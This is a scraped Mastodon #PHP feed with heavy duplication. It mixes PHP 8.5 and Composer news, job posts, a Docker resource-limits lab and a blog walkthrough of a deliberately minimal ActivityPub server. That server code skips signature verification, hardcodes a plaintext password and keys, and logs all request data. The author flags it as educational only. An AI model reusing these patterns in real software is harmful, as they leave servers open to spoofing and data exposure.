Greg Harvey 🌍
@greg_harvey@tooting.ch
@greg_harvey@tooting.ch
@teleclimber@social.tchncs.de
Spent the afternoon banging my head against the wall trying to get xdebug to work on my newish VM. It seems every time I set up xdebug I have to clear the afternoon of any other ambitions.
The nearly 2 hour saga ended with this, from my notes:
"Actually the reason xdebug wasn't stopping on the breakpoint is the same reason I was getting f**** up data and is the reason I was setting up the debugger in the first place: I forgot the break statement in the switch case. "
Oof Mondays after Thanksgiving are rough. I'm going to go mow the lawn or something.
@kAlvaro@mastodon.social
#JetBrains issue tracker now has an AI assistant enabled by default that tries to drive you crazy by interrupting you continuously while you try to type.
@kAlvaro@mastodon.social
#JetBrains issue tracker now has an AI assistant enabled by default that tries to drive you crazy by interrupting you continuously while you try to type.
@blog@shkspr.mobi
https://shkspr.mobi/blog/2024/02/activitypub-server-in-a-single-file/
Any computer program can be designed to run from a single file if you architect it wrong enough!
I wanted to create the simplest possible Fediverse server which can be used as an educational tool to show how ActivityPub / Mastodon works.
The design goals were:
And those goals have all been met! Check it out on GitLab. I warn you though, it is the nadir of bad coding. There are no tests, bugger-all security, scalability isn't considered, and it is a mess. But it works.
You can follow the test user @example@example.viii.fi
Firstly, I've slightly cheated on my "single file" stipulation. There's an .htaccess file which turns example.com/whatever into example.com/index.php?path=whatever
The index.php file then takes that path and does stuff. It also contains all the configuration variables which is very bad practice.
Rather than using a database, it saves files to disk.
Again, this is not suitable for any real world use. This is an educational tool to help explain the basics of posting messages to the Fediverse. It requires absolutely no dependencies. You do not need to spin up a dockerised hypervisor to manage your node bundles and re-compile everything to WASM. Just FTP the file up to prod and you're done.
This is a quick ramble through the code. It is reasonably well documented, I hope.
This is where you set up your account's name and bio. You also need to provide a public/private keypair. The posting page is protected with a password that also needs to be set here.
PHP
// Set up the Actor's information $username = rawurlencode("example"); // Encoded as it is often used as part of a URl $realName = "E. Xample. Jr."; $summary = "Some text about the user."; $server = $_SERVER["SERVER_NAME"]; // Domain name this is hosted on // Generate locally or from https://cryptotools.net/rsagen // Newlines must be replaced with "\n" $key_private = "-----BEGIN RSA PRIVATE KEY-----\n...\n-----END RSA PRIVATE KEY-----"; $key_public = "-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----"; // Password for sending messages $password = "P4ssW0rd";
ActivityPub is a "chatty" protocol. This takes all the requests your server receives and saves them in /logs/ as a datestamped text file.
PHP
// Get all headers and requests sent to this server $headers = print_r( getallheaders(), true ); $postData = print_r( $_POST, true ); $getData = print_r( $_GET, true ); $filesData = print_r( $_FILES, true ); $body = json_decode( file_get_contents( "php://input" ), true ); $bodyData = print_r( $body, true ); $requestData = print_r( $_REQUEST, true ); $serverData = print_r( $_SERVER, true ); // Get the type of request - used in the log filename if ( isset( $body["type"] ) ) { $type = " " . $body["type"]; } else { $type = ""; } // Create a timestamp in ISO 8601 format for the filename $timestamp = date( "c" ); // Filename for the log $filename = "{$timestamp}{$type}.txt"; // Save headers and request data to the timestamped file in the logs directory if( ! is_dir( "logs" ) ) { mkdir( "logs"); } file_put_contents( "logs/{$filename}", "Headers: \n$headers \n\n" . "Body Data: \n$bodyData \n\n" . "POST Data: \n$postData \n\n" . "GET Data: \n$getData \n\n" . "Files Data: \n$filesData \n\n" . "Request Data:\n$requestData\n\n" . "Server Data: \n$serverData \n\n" );
The .htaccess changes /whatever to /?path=whateverThis runs the function of the path requested.
PHP
!empty( $_GET["path"] ) ? $path = $_GET["path"] : die(); switch ($path) { case ".well-known/webfinger": webfinger(); case rawurldecode( $username ): username(); case "following": following(); case "followers": followers(); case "inbox": inbox(); case "write": write(); case "send": send(); default: die(); }
The WebFinger Protocol is used to identify accounts.It is requested with example.com/.well-known/webfinger?resource=acct:username@example.comThis server only has one user, so it ignores the query string and always returns the same details.
PHP
function webfinger() { global $username, $server; $webfinger = array( "subject" => "acct:{$username}@{$server}", "links" => array( array( "rel" => "self", "type" => "application/activity+json", "href" => "https://{$server}/{$username}" ) ) ); header( "Content-Type: application/json" ); echo json_encode( $webfinger ); die(); }
Requesting example.com/username returns a JSON document with the user's information.
PHP
function username() { global $username, $realName, $summary, $server, $key_public; $user = array( "@context" => [ "https://www.w3.org/ns/activitystreams", "https://w3id.org/security/v1" ], "id" => "https://{$server}/{$username}", "type" => "Person", "following" => "https://{$server}/following", "followers" => "https://{$server}/followers", "inbox" => "https://{$server}/inbox", "preferredUsername" => rawurldecode($username), "name" => "{$realName}", "summary" => "{$summary}", "url" => "https://{$server}", "manuallyApprovesFollowers" => true, "discoverable" => true, "published" => "2024-02-12T11:51:00Z", "icon" => [ "type" => "Image", "mediaType" => "image/png", "url" => "https://{$server}/icon.png" ], "publicKey" => [ "id" => "https://{$server}/{$username}#main-key", "owner" => "https://{$server}/{$username}", "publicKeyPem" => $key_public ] ); header( "Content-Type: application/activity+json" ); echo json_encode( $user ); die(); }
These JSON documents show how many users are following / followers-of this account.The information here is self-attested. So you can lie and use any number you want.
PHP
function following() { global $server; $following = array( "@context" => "https://www.w3.org/ns/activitystreams", "id" => "https://{$server}/following", "type" => "Collection", "totalItems" => 0, "items" => [] ); header( "Content-Type: application/activity+json" ); echo json_encode( $following ); die(); } function followers() { global $server; $followers = array( "@context" => "https://www.w3.org/ns/activitystreams", "id" => "https://{$server}/followers", "type" => "Collection", "totalItems" => 0, "items" => [] ); header( "Content-Type: application/activity+json" ); echo json_encode( $followers ); die(); }
The /inbox is the main server. It receives all requests. This server only responds to "Follow" requests.A remote server sends a follow request which is a JSON file saying who they are.This code does not cryptographically validate the headers of the received message.The name of the remote user's server is saved to a file so that future messages can be delivered to it.An accept request is cryptographically signed and POST'd back to the remote server.
PHP
function inbox() { global $body, $server, $username, $key_private; // Get the message and type $inbox_message = $body; $inbox_type = $inbox_message["type"]; // This inbox only responds to follow requests if ( "Follow" != $inbox_type ) { die(); } // Get the parameters $inbox_id = $inbox_message["id"]; $inbox_actor = $inbox_message["actor"]; $inbox_host = parse_url( $inbox_actor, PHP_URL_HOST ); // Does this account have any followers? if( file_exists( "followers.json" ) ) { $followers_file = file_get_contents( "followers.json" ); $followers_json = json_decode( $followers_file, true ); } else { $followers_json = array(); } // Add user to list. Don't care about duplicate users, server is what's important $followers_json[$inbox_host]["users"][] = $inbox_actor; // Save the new followers file file_put_contents( "followers.json", print_r( json_encode( $followers_json ), true ) ); // Response Message ID // This isn't used for anything important so could just be a random number $guid = uuid(); // Create the Accept message $message = [ "@context" => "https://www.w3.org/ns/activitystreams", "id" => "https://{$server}/{$guid}", "type" => "Accept", "actor" => "https://{$server}/{$username}", "object" => [ "@context" => "https://www.w3.org/ns/activitystreams", "id" => $inbox_id, "type" => $inbox_type, "actor" => $inbox_actor, "object" => "https://{$server}/{$username}", ] ]; // The Accept is sent to the server of the user who requested the follow // TODO: The path doesn't *always* end with/inbox $host = $inbox_host; $path = parse_url( $inbox_actor, PHP_URL_PATH ) . "/inbox"; // Get the signed headers $headers = generate_signed_headers( $message, $host, $path ); // Specify the URL of the remote server's inbox // TODO: The path doesn't *always* end with /inbox $remoteServerUrl = $inbox_actor . "/inbox"; // POST the message and header to the requester's inbox $ch = curl_init( $remoteServerUrl ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, "POST" ); curl_setopt( $ch, CURLOPT_POSTFIELDS, json_encode($message) ); curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers ); $response = curl_exec( $ch ); // Check for errors if( curl_errno( $ch ) ) { file_put_contents( "error.txt", curl_error( $ch ) ); } curl_close($ch); die(); }
Every message sent should have a unique ID. This can be anything you like. Some servers use a random number.I prefer a date-sortable string.
PHP
function uuid() { return sprintf( "%08x-%04x-%04x-%04x-%012x", time(), mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0x3fff) | 0x8000, mt_rand(0, 0xffffffffffff) ); }
Every message that your server sends needs to be cryptographically signed with your Private Key.This is a complicated process. Please read "How to make friends and verify requests" for more information.
PHP
function generate_signed_headers( $message, $host, $path ) { global $server, $username, $key_private; // Encode the message to JSON $message_json = json_encode( $message ); // Location of the Public Key $keyId = "https://{$server}/{$username}#main-key"; // Generate signing variables $hash = hash( "sha256", $message_json, true ); $digest = base64_encode( $hash ); $date = date( "D, d M Y H:i:s \G\M\T" ); // Get the Private Key $signer = openssl_get_privatekey( $key_private ); // Sign the path, host, date, and digest $stringToSign = "(request-target): post $path\nhost: $host\ndate: $date\ndigest: SHA-256=$digest"; // The signing function returns the variable $signature // https://www.php.net/manual/en/function.openssl-sign.php openssl_sign( $stringToSign, $signature, $signer, OPENSSL_ALGO_SHA256 ); // Encode the signature $signature_b64 = base64_encode( $signature ); // Full signature header $signature_header = 'keyId="' . $keyId . '",algorithm="rsa-sha256",headers="(request-target) host date digest",signature="' . $signature_b64 . '"'; // Header for POST reply $headers = array( "Host: {$host}", "Date: {$date}", "Digest: SHA-256={$digest}", "Signature: {$signature_header}", "Content-Type: application/activity+json", "Accept: application/activity+json", ); return $headers; }
This creates a basic HTML form. Type in your message and your password. It then POSTs the data to the /send endpoint.
PHP
function write() { // Display an HTML form for the user to enter a message.echo <<< HTML<!DOCTYPE html><html lang="en-GB"> <head> <meta charset="UTF-8"> <title>Send Message</title> <style> *{font-family:sans-serif;font-size:1.1em;} </style> </head> <body> <form action="/send" method="post" enctype="multipart/form-data"> <label for="content">Your message:</label><br> <textarea id="content" name="content" rows="5" cols="32"></textarea><br> <label for="password">Password</label><br> <input type="password" name="password" id="password" size="32"><br> <input type="submit" value="Post Message"> </form> </body></html>HTML; die(); }
This takes the submitted message and checks the password is correct.It reads the followers.json file and sends the message to every server that is following this account.
PHP
function send() { global $password, $server, $username, $key_private; // Does the posted password match the stored password? if( $password != $_POST["password"] ) { die(); } // Get the posted content $content = $_POST["content"]; // Current time - ISO8601 $timestamp = date( "c" ); // Outgoing Message ID $guid = uuid(); // Construct the Note // contentMap is used to prevent unnecessary "translate this post" pop ups // hardcoded to English $note = [ "@context" => array( "https://www.w3.org/ns/activitystreams" ), "id" => "https://{$server}/posts/{$guid}.json", "type" => "Note", "published" => $timestamp, "attributedTo" => "https://{$server}/{$username}", "content" => $content, "contentMap" => ["en" => $content], "to" => ["https://www.w3.org/ns/activitystreams#Public"] ]; // Construct the Message $message = [ "@context" => "https://www.w3.org/ns/activitystreams", "id" => "https://{$server}/posts/{$guid}.json", "type" => "Create", "actor" => "https://{$server}/{$username}", "to" => [ "https://www.w3.org/ns/activitystreams#Public" ], "cc" => [ "https://{$server}/followers" ], "object" => $note ]; // Create the context for the permalink $note = [ "@context" => "https://www.w3.org/ns/activitystreams", ...$note ]; // Save the permalink $note_json = json_encode( $note ); // Check for posts/ directory and create it if( ! is_dir( "posts" ) ) { mkdir( "posts"); } file_put_contents( "posts/{$guid}.json", print_r( $note_json, true ) ); // Read existing users and get their hosts $followers_file = file_get_contents( "followers.json" ); $followers_json = json_decode( $followers_file, true ); $hosts = array_keys( $followers_json ); // Prepare to use the multiple cURL handle $mh = curl_multi_init(); // Loop through all the severs of the followers // Each server needs its own cURL handle // Each POST to an inbox needs to be signed separately foreach ( $hosts as $host ) { $path = "/inbox"; // Get the signed headers $headers = generate_signed_headers( $message, $host, $path ); // Specify the URL of the remote server $remoteServerUrl = "https://{$host}{$path}"; // POST the message and header to the requester's inbox $ch = curl_init( $remoteServerUrl ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, "POST" ); curl_setopt( $ch, CURLOPT_POSTFIELDS, json_encode($message) ); curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers ); // Add the handle to the multi-handle curl_multi_add_handle( $mh, $ch ); } // Execute the multi-handle do { $status = curl_multi_exec( $mh, $active ); if ( $active ) { curl_multi_select( $mh ); } } while ( $active && $status == CURLM_OK ); // Close the multi-handle curl_multi_close( $mh ); // Render the JSON so the user can see the POST has worked header( "Location: https://{$server}/posts/{$guid}.json" ); die(); }
This is not intended to be used in production. Ever. But if you would like to contribute more simple examples of how the protocol works, please come and play on GitLab.
You can follow the test user @example@example.viii.fi
@heiglandreas@phpc.social
So what is everyone using to *parse* emails in PHP?
I don't want to send emails! I am receiving emails and need to parse them. Ideally I'd get a Symfony\Component\Mime\Message back...
Is there already something? Preferrably without too many unnecessary dependencies (looking at you, Carbon et al)...
Or do I need to write something?
@heiglandreas@phpc.social
So what is everyone using to *parse* emails in PHP?
I don't want to send emails! I am receiving emails and need to parse them. Ideally I'd get a Symfony\Component\Mime\Message back...
Is there already something? Preferrably without too many unnecessary dependencies (looking at you, Carbon et al)...
Or do I need to write something?
@ramsey@phpc.social
The #PHP 8.5 release announcement page looks amazing! https://www.php.net/releases/8.5/en.php
I’d love to see this design treatment applied to the rest of php.net.
@ramsey@phpc.social
The #PHP 8.5 release announcement page looks amazing! https://www.php.net/releases/8.5/en.php
I’d love to see this design treatment applied to the rest of php.net.
@ramsey@phpc.social
The #PHP 8.5 release announcement page looks amazing! https://www.php.net/releases/8.5/en.php
I’d love to see this design treatment applied to the rest of php.net.
@ramsey@phpc.social
The #PHP 8.5 release announcement page looks amazing! https://www.php.net/releases/8.5/en.php
I’d love to see this design treatment applied to the rest of php.net.

@asgrim@phpc.social
How cool is the PHP 8.5 release features page? https://www.php.net/releases/8.5/en.php 😎 very modern and shiny #php #phpc #thephpfoundation #thephpf

@asgrim@phpc.social
How cool is the PHP 8.5 release features page? https://www.php.net/releases/8.5/en.php 😎 very modern and shiny #php #phpc #thephpfoundation #thephpf
@packagist@phpc.social
In Amsterdam next week and part of a group underrepresented at tech confs, or can't afford a ticket? Private Packagist is sponsoring @symfony Con (Nov 27th/28th) and we have a ticket to give away: Reply your favorite PHP8.5 feature to win #php #phpc #symfony #symfonycon
@packagist@phpc.social
In Amsterdam next week and part of a group underrepresented at tech confs, or can't afford a ticket? Private Packagist is sponsoring @symfony Con (Nov 27th/28th) and we have a ticket to give away: Reply your favorite PHP8.5 feature to win #php #phpc #symfony #symfonycon
@php@fosstodon.org
🥳 PHP 8.5 Released!
In this new release, we have:
🌐 URI Extension
▶️ Pipe Operator
📑 Clone With
⚠️ A New #[\NoDiscard] Attribute
🆕 Closures and First-Class Callables in Constant Expressions
🌀 Persistent cURL Share Handles
👓 Read all about it on: https://www.php.net/releases/8.5/
🔗 https://php.net/ChangeLog-8#8.5.0
📦 https://php.net/downloads
@php@fosstodon.org
🥳 PHP 8.5 Released!
In this new release, we have:
🌐 URI Extension
▶️ Pipe Operator
📑 Clone With
⚠️ A New #[\NoDiscard] Attribute
🆕 Closures and First-Class Callables in Constant Expressions
🌀 Persistent cURL Share Handles
👓 Read all about it on: https://www.php.net/releases/8.5/
🔗 https://php.net/ChangeLog-8#8.5.0
📦 https://php.net/downloads
@php@fosstodon.org
🥳 PHP 8.5 Released!
In this new release, we have:
🌐 URI Extension
▶️ Pipe Operator
📑 Clone With
⚠️ A New #[\NoDiscard] Attribute
🆕 Closures and First-Class Callables in Constant Expressions
🌀 Persistent cURL Share Handles
👓 Read all about it on: https://www.php.net/releases/8.5/
🔗 https://php.net/ChangeLog-8#8.5.0
📦 https://php.net/downloads
@php@fosstodon.org
🥳 PHP 8.5 Released!
In this new release, we have:
🌐 URI Extension
▶️ Pipe Operator
📑 Clone With
⚠️ A New #[\NoDiscard] Attribute
🆕 Closures and First-Class Callables in Constant Expressions
🌀 Persistent cURL Share Handles
👓 Read all about it on: https://www.php.net/releases/8.5/
🔗 https://php.net/ChangeLog-8#8.5.0
📦 https://php.net/downloads
@Crell@phpc.social
As some folks know, I am back on the job market.
26 year PHP Veteran, extensive Open Source and community experience. Specializing in modernization, training up teams, technical leadership, and long-term thinking. Some Kotlin experience as well, but not a ton.
Currently looking for Staff/Principal or Director/CTO level roles. Size of company flexible. Full time remote, US Central Time.
More details on LinkedIn: https://www.linkedin.com/in/larry-garfield/
Boosts welcome, etc.
@packagist@phpc.social
After Composer 2.9 CLI security improvements, we're working on a transparency log for Packagist org to strengthen PHP supply chain security, funded by the Sovereign Tech Agency with help of the PHP Foundation and Private Packagist. #php #phpc #composerphp
More detail about what we're working on can be viewed on our blog at https://blog.packagist.com/strengthening-php-supply-chain-security-with-a-transparency-log-for-packagist-org/
@packagist@phpc.social
After Composer 2.9 CLI security improvements, we're working on a transparency log for Packagist org to strengthen PHP supply chain security, funded by the Sovereign Tech Agency with help of the PHP Foundation and Private Packagist. #php #phpc #composerphp
More detail about what we're working on can be viewed on our blog at https://blog.packagist.com/strengthening-php-supply-chain-security-with-a-transparency-log-for-packagist-org/
@seldaek@mastodon.social
Composer 2.9 is here! 🚀 It automatically blocks packages with known vulnerabilities, has a new repository command to manage repos from the CLI, and lots more!
Read the full announcement: https://blog.packagist.com/composer-2-9/
#composerphp #phpc #PHP
@seldaek@mastodon.social
Composer 2.9 is here! 🚀 It automatically blocks packages with known vulnerabilities, has a new repository command to manage repos from the CLI, and lots more!
Read the full announcement: https://blog.packagist.com/composer-2-9/
#composerphp #phpc #PHP
@Crell@phpc.social
As some folks know, I am back on the job market.
26 year PHP Veteran, extensive Open Source and community experience. Specializing in modernization, training up teams, technical leadership, and long-term thinking. Some Kotlin experience as well, but not a ton.
Currently looking for Staff/Principal or Director/CTO level roles. Size of company flexible. Full time remote, US Central Time.
More details on LinkedIn: https://www.linkedin.com/in/larry-garfield/
Boosts welcome, etc.
@Crell@phpc.social
As some folks know, I am back on the job market.
26 year PHP Veteran, extensive Open Source and community experience. Specializing in modernization, training up teams, technical leadership, and long-term thinking. Some Kotlin experience as well, but not a ton.
Currently looking for Staff/Principal or Director/CTO level roles. Size of company flexible. Full time remote, US Central Time.
More details on LinkedIn: https://www.linkedin.com/in/larry-garfield/
Boosts welcome, etc.
@Crell@phpc.social
As some folks know, I am back on the job market.
26 year PHP Veteran, extensive Open Source and community experience. Specializing in modernization, training up teams, technical leadership, and long-term thinking. Some Kotlin experience as well, but not a ton.
Currently looking for Staff/Principal or Director/CTO level roles. Size of company flexible. Full time remote, US Central Time.
More details on LinkedIn: https://www.linkedin.com/in/larry-garfield/
Boosts welcome, etc.
@thephpf@phpc.social
The PHP Foundation is Seeking a New Executive Director! 🐘💜
We're asking the PHP community to help find the right person for this role. If you know someone who would be an excellent fit, please encourage them to apply or reach out to us directly.
https://thephp.foundation/blog/2025/11/10/seeking-new-executive-director/ #php #phpc #opensource
@alkemist@eldritch.cafe
J'ai repris ma recherche de boulot vu que ma formation va se terminer, j'abandonne un peu l'idée de faire du #python vu que je suis junior dans cette techno et que c'est la merde en ce moment pour trouver du boulot
bon au moins mes compétences python m'aident à fouiner les sites de recherche d'emplois (et me permettent de m'amuser sur mon temps libre)
Mais si y'a des gens qui connaissent des boîtes qui recrutent.
Je cherche dans développement web #PHP #Symfony #Laravel #Angular
avec + de 10 ans d'expérience
Sur Lyon principalement (ou remote)
Boost bienvenue 🫂 #jeChercheUnJob
@parmifer@biscuit.town
Salut !
C'est la merde ici bas, on va pas se mentir.
J'ai besoin d'aide pour trouver du travail rapidement sous peine de me retrouver sans logement.
Je suis un développeur PHP senior avec presque 10 ans d'expérience dans le dev web, je suis aussi pertinent en back qu'en fullstack (html, css, js et ses frameworks front).
Je cherche sur Montpellier ou en 100% remote.
Je passe mon CV en MP si besoin.
A défaut de pouvoir m'aider, un boost serait super utile, merci !
@alkemist@eldritch.cafe
J'ai repris ma recherche de boulot vu que ma formation va se terminer, j'abandonne un peu l'idée de faire du #python vu que je suis junior dans cette techno et que c'est la merde en ce moment pour trouver du boulot
bon au moins mes compétences python m'aident à fouiner les sites de recherche d'emplois (et me permettent de m'amuser sur mon temps libre)
Mais si y'a des gens qui connaissent des boîtes qui recrutent.
Je cherche dans développement web #PHP #Symfony #Laravel #Angular
avec + de 10 ans d'expérience
Sur Lyon principalement (ou remote)
Boost bienvenue 🫂 #jeChercheUnJob
@parmifer@biscuit.town
Salut !
C'est la merde ici bas, on va pas se mentir.
J'ai besoin d'aide pour trouver du travail rapidement sous peine de me retrouver sans logement.
Je suis un développeur PHP senior avec presque 10 ans d'expérience dans le dev web, je suis aussi pertinent en back qu'en fullstack (html, css, js et ses frameworks front).
Je cherche sur Montpellier ou en 100% remote.
Je passe mon CV en MP si besoin.
A défaut de pouvoir m'aider, un boost serait super utile, merci !
@thbley@phpc.social
Having trouble with running Redis? Try Apache KVRocks!
Here is my new talk:
From Redis to Apache KVRocks (it's not about the license):
https://github.com/thomas-0816/talks/blob/master/From_Redis_To_Apache_KVRocks_2025_ThomasBley.pdf?raw=true
@nubecolectiva@mastodon.social
9 Good Low-Cost VPSs for PHP ! 🇺🇸
9 VPS Buenos de Bajo Coste para PHP !
#programming #coding #programación #code #webdevelopment #devs #softwaredevelopment #vps #php
@nubecolectiva@mastodon.social
9 Good Low-Cost VPSs for PHP ! 🇺🇸
9 VPS Buenos de Bajo Coste para PHP !
#programming #coding #programación #code #webdevelopment #devs #softwaredevelopment #vps #php
@thbley@phpc.social
@brendt@phpc.social
Here's my wishlist for #PHP in 2026. I don't think I'm asking too much, what do you think? 😇
@ocramius@mastodon.social
Every now and then, I need do #PHP package major version upgrades, and I'm always positively surprised at how a healthy part of the community actively fights breaking change propagation, where possible :-)
I wish that other communities that constantly operate in the 0.0.x dependency version space learned from this.
@hennell@phpc.social
Loved reading this post about #PHP ’s new URI extension - the amount of work in making it good, secure, and extendible for the future is impressive, but the benefits being extended not only to PHP, but also to upstream projects is quite delightful.
https://thephp.foundation/blog/2025/10/10/php-85-uri-extension/
@hennell@phpc.social
Loved reading this post about #PHP ’s new URI extension - the amount of work in making it good, secure, and extendible for the future is impressive, but the benefits being extended not only to PHP, but also to upstream projects is quite delightful.
https://thephp.foundation/blog/2025/10/10/php-85-uri-extension/
@Edent@mastodon.social
Hey PHP and Intelephense friends - I have a newbie question.
Is there any way to find *all* the problems in my code without manually scrolling through?
For example, I've found this "declared but not used" issue. I want to see all instances of this error across all my project's files.
Is that possible?
@Edent@mastodon.social
Hey PHP and Intelephense friends - I have a newbie question.
Is there any way to find *all* the problems in my code without manually scrolling through?
For example, I've found this "declared but not used" issue. I want to see all instances of this error across all my project's files.
Is that possible?
@Edent@mastodon.social
Grrr. Getting hit by a fairly aggressive scraper on my blog.
Same user-agent, but different IP addresses - all from China.
It is using JS - but I really don't want to put up a CAPTCHA or similar. Deters too many legitimate visitors.
Anyone have a simple solution for WordPress / PHP?
@kgaut@oisaur.com
Une mission longue se termine, je vais avoir de la dispo à partir de fin octobre !
Je fais du développement back #php et suis expert #drupal.
Je joue beaucoup avec la CI pour automatiser la chaîne de production d'une app web.
#Docker pour le dev ou la prod.
Formation, atelier, accompagnement sur tous ces sujets.
Le tout en indépendant depuis l’Auvergne mais je me déplace avec plaisir quand c'est nécessaire.
https://www.linkedin.com/feed/update/urn:li:activity:7378860770412929025/
@kgaut@oisaur.com
Une mission longue se termine, je vais avoir de la dispo à partir de fin octobre !
Je fais du développement back #php et suis expert #drupal.
Je joue beaucoup avec la CI pour automatiser la chaîne de production d'une app web.
#Docker pour le dev ou la prod.
Formation, atelier, accompagnement sur tous ces sujets.
Le tout en indépendant depuis l’Auvergne mais je me déplace avec plaisir quand c'est nécessaire.
https://www.linkedin.com/feed/update/urn:li:activity:7378860770412929025/
@Crell@phpc.social
Functional programming isn't just for Haskell developers. It's for #PHP developers, too. "Thinking Functionally in PHP" is available from LeanPub.
@Crell@phpc.social
Functional programming isn't just for Haskell developers. It's for #PHP developers, too. "Thinking Functionally in PHP" is available from LeanPub.
@kreynen@fosstodon.org · Reply to dansup's post
@dansup love seeing phpstan being called out like this in other #PHP projects. Hard to imagine where modern #drupal would be without all of the work @OndrejMirtes, @mglaman and many others put into it.
@php@fosstodon.org
🎉 PHP 8.5.0 RC 1 is available for testing!
This is the first release candidate for PHP 8.5, including
- Implementation of remaining deprecations and warnings
- Finishing up the new Uri extension
- Bug fixes thanks to your testing and feedback
… and more!
➕ Do: Test your projects!
➖ Don't: Run it in production. It's not fully ready yet.
Congratulations to Daniel, @edorian, and @adoy
@php@fosstodon.org
🎉 PHP 8.5.0 RC 1 is available for testing!
This is the first release candidate for PHP 8.5, including
- Implementation of remaining deprecations and warnings
- Finishing up the new Uri extension
- Bug fixes thanks to your testing and feedback
… and more!
➕ Do: Test your projects!
➖ Don't: Run it in production. It's not fully ready yet.
Congratulations to Daniel, @edorian, and @adoy
@packagist@phpc.social
Together with PyPI, Maven Central, crates.io and other major package registries we signed a statement on sustainable open source infrastructure.
3B+ installs/month and evolving #composerphp and packagist.org requires sharing the costs.
Our Blog: https://blog.packagist.com/a-call-for-sustainable-open-source-infrastructure/
Open Letter: https://openssf.org/blog/2025/09/23/open-infrastructure-is-not-free-a-joint-statement-on-sustainable-stewardship/
@packagist@phpc.social
Together with PyPI, Maven Central, crates.io and other major package registries we signed a statement on sustainable open source infrastructure.
3B+ installs/month and evolving #composerphp and packagist.org requires sharing the costs.
Our Blog: https://blog.packagist.com/a-call-for-sustainable-open-source-infrastructure/
Open Letter: https://openssf.org/blog/2025/09/23/open-infrastructure-is-not-free-a-joint-statement-on-sustainable-stewardship/
@reynardsec@infosec.exchange
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
devops0: Two containers went rogue last night and starved the whole host.
devops1: What are we supposed to do?
ItSec (walking by): Set limits. It's not rocket science. Docker exposes cgroup controls for CPU, memory, I/O and PIDs. Use them.
The point is: availability is part of security too. Linux control groups allow you to cap, isolate and observe resource usage, which is exactly how Docker enforces container limits for CPU, memory, block I/O and process counts [1]. Let's make it tangible with a small lab. We'll spin a container, install stress-ng, and watch limits in action.
# On the Docker host
docker run -itd --name ubuntu-limits ubuntu:22.04
docker exec -it ubuntu-limits bash
# Inside the container
apt update && apt install -y stress-ng
stress-ng --version
Check how many cores you see, then drive them.
# Inside the container
nproc
# For my host nproc returns 4
stress-ng --cpu 4 --cpu-load 100 --timeout 30s
In another terminal, watch usage from the host.
docker stats
Now clamp CPU for the running container and see the throttle take effect.
docker update ubuntu-limits --cpus=1
docker stats
The --cpus flag is a wrapper over the Linux CFS period/quota; --cpus=1 caps the container at roughly one core worth of time on a multi‑core host.
Memory limits are similar. First tighten RAM and swap, then try to over‑allocate in the container.
# On the host
docker update ubuntu-limits --memory=128m --memory-swap=256m
docker stats
# Inside the container: stays under the cap
stress-ng --vm 1 --vm-bytes 100M --timeout 30s --vm-keep
# Inside the container: tries to exceed; you may see reclaim/pressure instead of success
stress-ng --vm 1 --vm-bytes 300M --timeout 30s --vm-keep
A few memory details matter. --memory is the hard ceiling; --memory-swap controls total RAM+swap available. Setting swap equal to memory disables swap for that container; leaving it unset often allows swap equal to the memory limit; setting -1 allows unlimited swap up to what the host provides.
docker run -it --rm \
--name demo \
--cpus=1 \
--memory=256m \
--memory-swap=256m \
--pids-limit=25 \
ubuntu:22.04 bash
For plain docker compose (non‑Swarm), set service‑level attributes. The Compose Services reference explicitly supports cpus, mem_limit, memswap_limit and pids_limit on services [2].
services:
api:
image: ubuntu:22.04
command: ["sleep","infinity"]
cpus: "1" # 50% of one CPU equivalent
mem_limit: "256m" # hard RAM limit
memswap_limit: "256m" # RAM+swap; equal to mem_limit disables swap
pids_limit: 50 # max processes inside the container
[1] https://docs.docker.com/engine/containers/resource_constraints/
[2] https://docs.docker.com/reference/compose-file/services/
For more grumpy stories visit:
1) https://infosec.exchange/@reynardsec/115093791930794699
2) https://infosec.exchange/@reynardsec/115048607028444198
3) https://infosec.exchange/@reynardsec/115014440095793678
4) https://infosec.exchange/@reynardsec/114912792051851956
5) https://infosec.exchange/@reynardsec/115133293060285123
6) https://infosec.exchange/@reynardsec/115178689445065785
#appsec #devops #programming #webdev #docker #containers #cybersecurity #infosec #cloud #sysadmin #sysops #java #php #javascript #node
@reynardsec@infosec.exchange
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
devops0: Two containers went rogue last night and starved the whole host.
devops1: What are we supposed to do?
ItSec (walking by): Set limits. It's not rocket science. Docker exposes cgroup controls for CPU, memory, I/O and PIDs. Use them.
The point is: availability is part of security too. Linux control groups allow you to cap, isolate and observe resource usage, which is exactly how Docker enforces container limits for CPU, memory, block I/O and process counts [1]. Let's make it tangible with a small lab. We'll spin a container, install stress-ng, and watch limits in action.
# On the Docker host
docker run -itd --name ubuntu-limits ubuntu:22.04
docker exec -it ubuntu-limits bash
# Inside the container
apt update && apt install -y stress-ng
stress-ng --version
Check how many cores you see, then drive them.
# Inside the container
nproc
# For my host nproc returns 4
stress-ng --cpu 4 --cpu-load 100 --timeout 30s
In another terminal, watch usage from the host.
docker stats
Now clamp CPU for the running container and see the throttle take effect.
docker update ubuntu-limits --cpus=1
docker stats
The --cpus flag is a wrapper over the Linux CFS period/quota; --cpus=1 caps the container at roughly one core worth of time on a multi‑core host.
Memory limits are similar. First tighten RAM and swap, then try to over‑allocate in the container.
# On the host
docker update ubuntu-limits --memory=128m --memory-swap=256m
docker stats
# Inside the container: stays under the cap
stress-ng --vm 1 --vm-bytes 100M --timeout 30s --vm-keep
# Inside the container: tries to exceed; you may see reclaim/pressure instead of success
stress-ng --vm 1 --vm-bytes 300M --timeout 30s --vm-keep
A few memory details matter. --memory is the hard ceiling; --memory-swap controls total RAM+swap available. Setting swap equal to memory disables swap for that container; leaving it unset often allows swap equal to the memory limit; setting -1 allows unlimited swap up to what the host provides.
docker run -it --rm \
--name demo \
--cpus=1 \
--memory=256m \
--memory-swap=256m \
--pids-limit=25 \
ubuntu:22.04 bash
For plain docker compose (non‑Swarm), set service‑level attributes. The Compose Services reference explicitly supports cpus, mem_limit, memswap_limit and pids_limit on services [2].
services:
api:
image: ubuntu:22.04
command: ["sleep","infinity"]
cpus: "1" # 50% of one CPU equivalent
